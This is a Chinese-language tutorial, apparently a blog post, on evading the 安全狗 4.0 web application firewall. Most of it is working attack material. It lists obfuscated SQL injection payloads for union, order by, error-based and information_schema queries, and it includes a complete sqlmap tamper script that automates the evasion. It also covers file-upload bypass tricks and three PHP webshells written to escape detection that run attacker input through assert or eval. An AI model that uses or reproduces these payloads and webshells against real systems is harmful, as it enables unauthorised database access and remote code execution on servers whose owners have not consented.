Bypass安全狗4.0
字数 790 2025-08-20 18:17:42
Bypass安全狗4.0技术详解
SQL注入绕过技术
1=1绕过方法
安全狗会拦截'and 1=1-- -这类常见注入语句,但可以通过以下方式绕过:
-
使用URL编码的&符号:
'%261-- - '%26true-- - '%260-- - '%26false-- - -
使用XOR运算符:
'Xor 1-- - 'Xor true-- - -
使用数学表达式:
'or -1=-1-- - 'or -0=-0-- - -
内联注释:
'or /*!1=1*/-- - -
直接绕过and/or关键字:
/*!11440OR*/ /*!11440AND*/
ORDER BY绕过
-
使用注释和换行:
order%23%0aby 3 -
复杂内联注释:
'/*!order /*!/*/**/by*/4-- - '/*!order /*/*%/**/by*/4-- - '/*!order /*!/*/**//**/by*/4-- - '/*!order /*!/*/**//*/**/by*/4-- - -
特殊注释格式:
/*!11440order*/
UNION SELECT绕过
-
内联注释与注释混淆:
'/*!union/*!/*/**/*/select/**/1,2,'cl4y'-- - -
特殊注释格式:
/*!11440union*/ /*!select/*!/*/**/*/
系统函数绕过
- 分隔函数名和括号:
version () # 直接空格 user%0a() # 使用%0a~%20等换行符 database/**/() # 使用注释符 user/*!*/() # 使用内联注释
函数名绕过
在报错注入时可以使用以下格式:
/*!extractvalue/*!/*/**/*/
/*!updatexml/*!/*/**/*/
information_schema.*绕过
安全狗会检测information_schema相关查询,但MySQL 5.6.x及以上版本可以使用以下表替代:
innodb_index_statsinnodb_table_stats
万能绕过payload
安全狗通过正则匹配关键字,可以通过以下方式使关键字不被单独分离出来:
/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/
/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/
Tamper脚本示例
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload=payload.replace("=","/*!*/=/*!*/")
payload=payload.replace("ORDER","/*!ORDER/*!/*/**/*/")
payload=payload.replace("AND","/*!AND/*!/*/**/*/")
payload=payload.replace("OR","/*!OR/*!/*/**/*/")
payload=payload.replace("UNION","/*!UNION/*!/*/**/*/")
payload=payload.replace("SELECT","/*!SELECT/*!/*/**/*/")
payload=payload.replace("USER()","/*!USER/*!/*/**/*/()/**/")
payload=payload.replace("DATABASE()","/*!DATABASE/*!/*/**/*/()/**/")
payload=payload.replace("VERSION()","/*!VERSION/*!/*/**/*/()/**/")
payload=payload.replace("SESSION_USER()","/*!SESSION_USER/*!/*/**/*/()/**/")
payload=payload.replace("EXTRACTVALUE","/*!EXTRACTVALUE/*!/*/**/*/()/**/")
payload=payload.replace("UPDATEXML","/*!UPDATEXML/*!/*/**/*/")
return payload
文件上传绕过技术
环境:Windows + Apache 2.4 + 安全狗4.0
绕过方法
-
文件名回车绕过:
- 在文件名中添加回车符
-
双等号绕过:
- 使用
==代替=
- 使用
-
双写filename参数:
- 构造诡异的request包,如
filename=;
- 构造诡异的request包,如
-
%00截断:
- 在文件名后添加
%00,然后CTRL+SHIFT+U转成字符 - 不需要添加.jpg后缀
- 在文件名后添加
免杀Webshell示例
- 字符串拼接方式:
<?php
$a='ass';
$b='ert';
$funcName=$a.$b; //assert
$x='funcName';
$$
x($_REQUEST['Name']);
?>
- 类析构函数方式:
<?php
class User {
public $name='';
function __destruct(){
eval("$this->name");
}
}
$user=new User;
$user->name=''.$_REQUEST['a'];
?>
- 函数返回方式:
<?php
function a($a){
return $a;
}
eval (a($_REQUEST)['hh']);
?>
总结
- 安全狗的防护主要基于正则表达式匹配特定关键字和模式
- 通过混淆关键字、使用特殊编码、构造异常请求包等方式可以有效绕过
- 对于SQL注入,重点是分离关键字和混淆语法结构
- 对于文件上传,重点是构造异常但服务器能解析的请求格式
- 保持关注MySQL新版本特性,可能提供新的绕过思路